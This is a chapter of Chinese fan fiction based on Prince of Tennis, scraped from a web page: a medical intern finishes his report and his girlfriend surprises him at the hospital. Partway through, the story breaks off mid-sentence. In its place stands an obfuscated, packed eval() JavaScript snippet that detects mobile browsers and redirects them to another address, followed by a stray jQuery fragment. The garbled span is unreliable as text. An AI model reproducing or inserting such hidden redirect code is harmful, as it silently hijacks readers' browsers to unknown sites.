57.57

作品:《[网王]流水十年间

    藤堂夕夏回祖屋的那天,收到了来自忍足谦也的信息。


    「秀恩爱能不能收敛点?」


    藤堂夕夏:?


    忍足谦也:那家伙逢人就得瑟,现在全医院都知道他有个会咬人的女朋友了:)


    藤堂夕夏:......


    再次收到他的信息是在一周后。


    当时,藤堂夕夏正在整理行李。她刚收到换好的驾照,打算开车带爷爷奶奶去箱根玩几天。


    谦也先发来了一张照片——包装精美的礼品盒堆了满桌,好几个盒子上还贴着粉色的卡片。


    紧接着,是一条信息。


    「秀恩爱遭报应了吧?这全是给侑士的。现在每天凑来他身边的人比以前多了一倍。」


    藤堂夕夏:......有女友后桃花更旺?


    忍足谦也:大概是发现他取向正常,死灰复燃了。


    忍足谦也:不赶紧回来看看?


    藤堂夕夏盯着谦也的消息愣了片刻,回了句“看什么?”,随即低头继续整理行李。


    同一时间,医院办公室。


    “你女朋友是不是太冷淡了一点?”


    忍足谦也将手机递给忍足侑士,屏幕上是他与藤堂夕夏最新的对话记录。


    忍足侑士正在桌前复习病例,听到这话,抬头看了一眼屏幕,眉头微蹙,道:“你和夕夏说这些干嘛?”


    谦也不以为然地收回手机:“替你试探一下咯。不知道是谁每天眼巴巴地盼着人家回东京。”


    “她要是误会了,你负责?”


    忍足的声音冷了两分。


    谦也勾了勾嘴角,回道:“不至于吧,我看她淡定得很,不淡定的只有你吧。”


    “......你以后少骚扰她。”


    忍足睨了谦也一眼,手插进口袋握住手机,停顿片刻后,松开了手。


    藤堂夕夏要带爷爷奶奶去箱根的事情,他是知道的。这些天,他正在忙临床轮转的总结汇报,并在为返回实验室做准备,几乎整个周末都在工作。他想见她,但就算把她叫回来,他也很可能没有时间陪她。所以,他宁愿她多陪陪家人。


    门口传来“咚咚”两声敲门声,拉回了他的思绪。


    “实习生,查房开始了。”


    本间绫香侧身探进门,目光示意屋内的几人跟她走。


    忍足站起身,视线在桌面新放的相框上停了一瞬,轻叹一口气,走出了办公室。


    五天后,内科组医学生的实习汇报圆满结束。科长做了简短的总结发言,随后大家各自散场。虽然医学生们三天后才会彻底离开,但这场汇报会就像是某种告别仪式,激起了众人离别的情绪。


    忍足扶了扶眼镜,摆出温和的笑容与包围着他的医生护士们一一道别。在一阵叽叽喳喳的“侑士君”中,他抬眸与不远处处境相似的大石君交换了一个眼神,对方无奈地笑了笑。与此同时,谦也从会议室外走进来,意味深长地看了忍足一眼,摇着头走到本间绫香身旁,双手抱在胸前,静静围观这热闹的一幕。


    良久,忍足身边的人散去了些,他趁机说了声“抱歉”,转身朝门外走去。一位常在值夜班时碰见的护士小姐,锲而不舍地跟了上来。


    忍足推开会议室的门,抬头的瞬间,愣在原地。


    窗外阳光明媚,浅白的光线透过玻璃窗,落到走廊光滑的瓷砖上。一个短发女孩抱着一束向日葵,站在窗旁。宽版西装外套随性地垂在肩上,九分牛仔裤勾勒出修长的双腿,一双黑色切尔西靴恰到好处地包裹住她纤细的脚踝。她画着小烟熏眼妆,涂着裸棕色口红,松弛中带了几分妩媚。


    除了那束向日葵,她分明打扮得很低调,却偏偏让他觉得挪不开眼睛。心脏猛地一跳,身体中值得警惕的某处悄然苏醒。他不由得想起两个月前,她在睡梦中陡然伸手抱住他的那一刻。那时也是一样,他的身体和灵魂纷纷叫嚣着,劝他放弃理智。


    女孩抬起头,目光触到他时,露出灿烂的笑容。他忽然意识到,在她出现之前,自己是烦躁的。汇报会的压力,人群密不透风的围剿,像是一张细密的蜘蛛网,如影随形,难以摆脱。而她是夏日傍晚吹来的一阵暖风,轻而易举地将他所有的疲惫拂去了。


    身旁的护士小姐好像在说着什么,但他已经听不清楚。


    “抱歉,我女朋友来了。”


    他抬脚向女孩走去。


    /


    今天是忍足侑士实习汇报的日子,藤堂夕夏决定悄悄返回东京,给他一个惊喜。和忍足两周未见,她心里忐忑,待在祖屋坐立难安,又不想太早去医院,免得打扰他准备下午的会议。于是,她算着时间,约天野梨乃出来共进早午餐。


    “所以说......两个憋了三年都不敢告白的人,结果现在见第三次面就接吻,在一起第一天就上床吗?”


    十分钟前,藤堂夕夏和天野梨乃大致说了这两个月发生的事情。天野梨乃听得目瞪口呆,端着咖啡,不住惊叹。


    藤堂夕夏翻了个白眼,刚想指出她话中的两处错误,天野梨乃迅速抬起掌心,打断道:“别!求求你,我不想知道细节。托你的福,我也和忍足君认识十年了。他做出这么禽兽的事情,我以后没法直视他了。”


    藤堂夕夏一噎,抿着唇移开视线,望向窗外往来的人群。


    她可以理解天野梨乃的惊讶,但她自认是个俗人,宁愿他直白,同她在沉-沦中确认彼此的心意,也不愿他迂回试探,继续虚耗光阴。


    “所以......你待会就穿这身去见他?”天野梨乃上下打量她一眼,“虽然也好看,但会不会太随意了?不是说他在医院很受欢迎吗?你好歹也穿个有女人味的吧。”


    “那不然呢?”藤堂夕夏翘起腿,大方回视,“难不成为了见他,我还得去买一套衣服?”


    天野梨乃撇撇嘴,不再多说,喊来服务员结好账,便带着藤堂夕夏回了自己的公寓。


    天野梨乃是一名造型师,业余时间喜欢在社交平台上分享每日穿搭。她衣柜可谓包罗万象,公寓虽不大,却有一整间房专门用来放衣服。


    一进门,换好鞋,她小跑着钻进房间,翻箱倒柜地找出几套裙装,兴奋地向藤堂夕夏展示。


    “这几件怎么样?我最喜欢这件高开叉的,你腿长,穿着正合适。我再给你画个心机妆,保准把忍足君迷得七晕八菜的。”


    藤堂夕夏伸手接过裙子,皮革的触感微凉,酒红色的皮面沉稳又艳丽。曾经,她潜意识里一直认为忍足喜欢的是那种烫大波浪的成熟姐姐型,以至于察觉到自己的心思后,也不敢抱太大的希望。穿上这条裙子,或许能让自己更接近她猜测的那个“理想型”吧。


    犹豫片刻,她放下裙子,拒绝了天野梨乃的换装邀请。


    不是不能尝试,但今天她有话想说。任何矫饰成他人的行为,都会让这件事失去意义。


    藤堂夕夏抵达医院时,汇报已经开始。她按照谦也给的地址,找到了会议室。走廊空旷,偶尔有医护人员匆匆经过。眼前的会议室门紧闭,两侧的墙壁上挂着几幅医疗宣传图。空气中浮着淡淡的消毒水味,向日葵的香气混在其间,显得尤为清新。


    有人从会议室里出来,看到她时微微一愣。她向对方颔首示意,趁机透过门缝向里看。


    忍足恰好站在台上,手里握着激光笔,正在认真地讲解着什么。他眉目清贵,神色疏离,鼻梁上架着那副许久未见的眼镜,一身白大褂将他整个人衬得分外冷峻。


    门缓缓合上,藤堂夕夏收回视线,继续盯着墙上那幅医疗宣传图发呆。在农舍的最后两日,忍足太过热情,如今蓦地见到他这正经沉稳的模样,她有些不习惯,心跳不由一乱,呼吸也跟着急促了几分。


    门再次打开时,谦也从门内冲了出来,看到她后刹住脚步,迅速回头,撑着门框往会议室内探了一眼。


    “那家伙好像又被包围了。要我去叫他吗?”


    他走至她面前问道。


    “不用了,我不着急。”藤堂夕夏冲谦也笑了笑,“谦也君没被包围,是因为跑得够快吗?”


    谦也骄傲地扬了扬下巴,说:“侑士那家伙就是心太软,动作又慢,才会落得这种下场的。”


    “真的不是因为魅力更大吗?”


    谦也脸上的笑容瞬间消失,投给她一个无语的眼神。藤堂夕夏乐开了花。


    谦也走后,藤堂夕夏垂眸站在原地,思考今晚吃什么。不一会儿,几声娇滴滴的“侑士君”吸引了她的注意。她抬起头,与那位看着她愣神的男人四目相对。


    “忍足君,恭喜。”


    藤堂夕夏笑着伸手,正要将抱了许久的花束递过去。男人没有接,径直走向她,将她整个人合入怀中。


    两周未见,忍足的气息变得有些陌生,耳畔那剧烈的心跳声,不知是她的,还是他的。他在她颈侧嗅了一口,微妙的酥麻感让人止不住心尖发颤。她禁不住痒,缩了缩脖子,轻推他一下,顺便左右张望,祈祷没人注意到这毫无公德心的秀恩爱行为。这一看不得了,挂着医疗宣传图的那面墙边,不知何时站了三个人,齐齐抱胸,目光暧昧地盯着他们。


    怀里的人挣扎得愈发剧烈,忍足疑惑地松开手,顺着她的视线,也发现了那三人。


    “......本间前辈。”


    他无奈地开口。


    “你们继续,别管我们。”


    本间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15050243|153123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边说边促狭地眨了眨眼,身旁的谦也和大石笑得一脸和蔼。


    忍足接过藤堂夕夏手中的花束,凑去她耳边,低声说:“看样子,得逃跑了。”


    宽大的手掌包住她的手,轻轻用力,纤长的手指挤进她的指缝,倏然收拢。藤堂夕夏还没来得及看清他眼中的笑意,就被他牵着迅速撤离,身后传来本间绫香利落的声音:“诶?别走呀,我们还没看够呢!”


    两人一路快走,来到医生办公室。汇报会刚结束不久,办公室空无一人。忍足将藤堂夕夏带到自己的座位前,打算去换身衣服。垂眸间,他看到女孩嘟着嘴,面色懵懂地四处张望,一时心痒,上前一步,手扶到她的腰侧。


    他的距离过近,藤堂夕夏愣住,下意识地后退几步,直到抵上办公桌的边缘,退无可退。她飞速扫了一眼不远处的门,心脏开始扑通乱跳。门是关的,但没锁,但凡有人推门进来,就能看到他们俩正严丝合缝地贴在一起。


    她抬起手掌抵在忍足胸前:“忍足君,这里是办公室!”


    忍足无视了她的警告,捏住她的下巴,打量她精致的眼妆,那双过分黑亮的眼眸,以及她唇上色泽温和饱满的口红。


    “怎么突然过来了?”


    他问。


    藤堂夕夏按捺住鼓噪的心脏,抬头与他对视,分辨出镜片后的那双眼睛并无失控的迹象,渐渐放下心来。


    “来祝贺忍足君结束临床轮转呀。”她顿了顿,目光再次飘向门口,“顺便来查岗。”


    忍足笑出声:“吃醋了?”


    她转了转眼睛,回道:“有一点。”


    其实还好。


    忍足君有多受欢迎,她中学时期就知道了。只是那时候没有立场介意,如今有了,免不得想矫情一下。然而,看着眼前的人一副喜形于色的模样,她突然有一点后悔。


    忍足没有过多解释,低头贴着她的耳朵说:“夕夏,我很开心。”


    他的气息顺着耳道爬入,耳蜗震动,声音直达颅内深处。藤堂夕夏的耳根霎时烧了起来,脑子一片空白,想往后缩,却被他按住后脑,难以动弹。


    片刻,忍足松开手,看了看时间,道:“你在这里等我一下,我去换身衣服。”


    藤堂夕夏终于回神:“诶?你要走吗?我以为你们晚上还有聚餐。”


    “你要和我一起去聚餐吗?也可以,我和科长说一声。”


    藤堂夕夏连连摆手:“我准备来看看你就走的,晚餐要吃什么都想好了。”


    她今天有话想说,但也知道忍足最近很忙。原本的打算是就近找个僻静处,聊完就走。


    “你和别人约好了?”


    忍足问。


    不知怎么的,她从他沉静的目光中品出几分受伤的意味,于是赶紧解释:“没有啊,我打算回家煮面条吃。我想你今天应该很忙,不想打扰你。”


    握在她腰间的手忽然收紧,他的目光停留在她的唇上,犹豫片刻后,在她的脸颊落下一吻。


    “晚餐和我一起吃,我马上回来。”


    忍足转身要走,藤堂夕夏鬼使神差地抓住他胸前的领带,又将人拽了回来,垂眸看了眼他领带上的棕色条纹,心想:下次给他买条深蓝色的,或许也不错。


    她抬头,对上他的眼,将领带在手掌绕上一圈,向下轻轻一扯。他十分配合地低头,微微扬眉,那眼神仿佛在说:“藤堂小姐,有何指教?”


    藤堂夕夏飞快地在他脸侧啄了一下,然后看着自己留下的淡红印记,笑得乐不可支。


    “忍足君现在看起来好浮浪。”


    那双桃花眼中的多情气质被细框眼镜遮去几分,一身白大褂让他看上去严肃又正经,可偏偏脸侧一抹唇印,引人遐想。“斯文败类”这个词用来形容他,大概再合适不过,而且还是不小心被人揭了皮的那种。


    “我还可以更浮浪,你要试试吗?”


    他眼眸一沉,未等她回答,双臂直接缠上了她。温热的鼻息喷洒在颈侧,藤堂夕夏只觉脖子被人吮了几口,湿润的触感伴着轻微的刺痛,让她心里一阵悸动。她越过他的肩膀,警觉地盯着门的方向,手里推了他数下。


    半晌,忍足后退一步。胳膊被人拧了一把,他笑了笑,终于走出了办公室。


    藤堂夕夏松了一口气,在忍足的工位上坐下,视线立刻被他桌上的相框吸引。原本她并不打算细看,但那张照片太过显眼,因为她是里面唯一的主角。


    照片中,她穿着一身简朴的运动服,正带着村民们做操。大概是被谁逗笑,她的眼睛眯成了一条缝,一口白牙毫无保留地展露在阳光之下。


    ......她好像知道,为什么忍足君最近的桃花会变多了。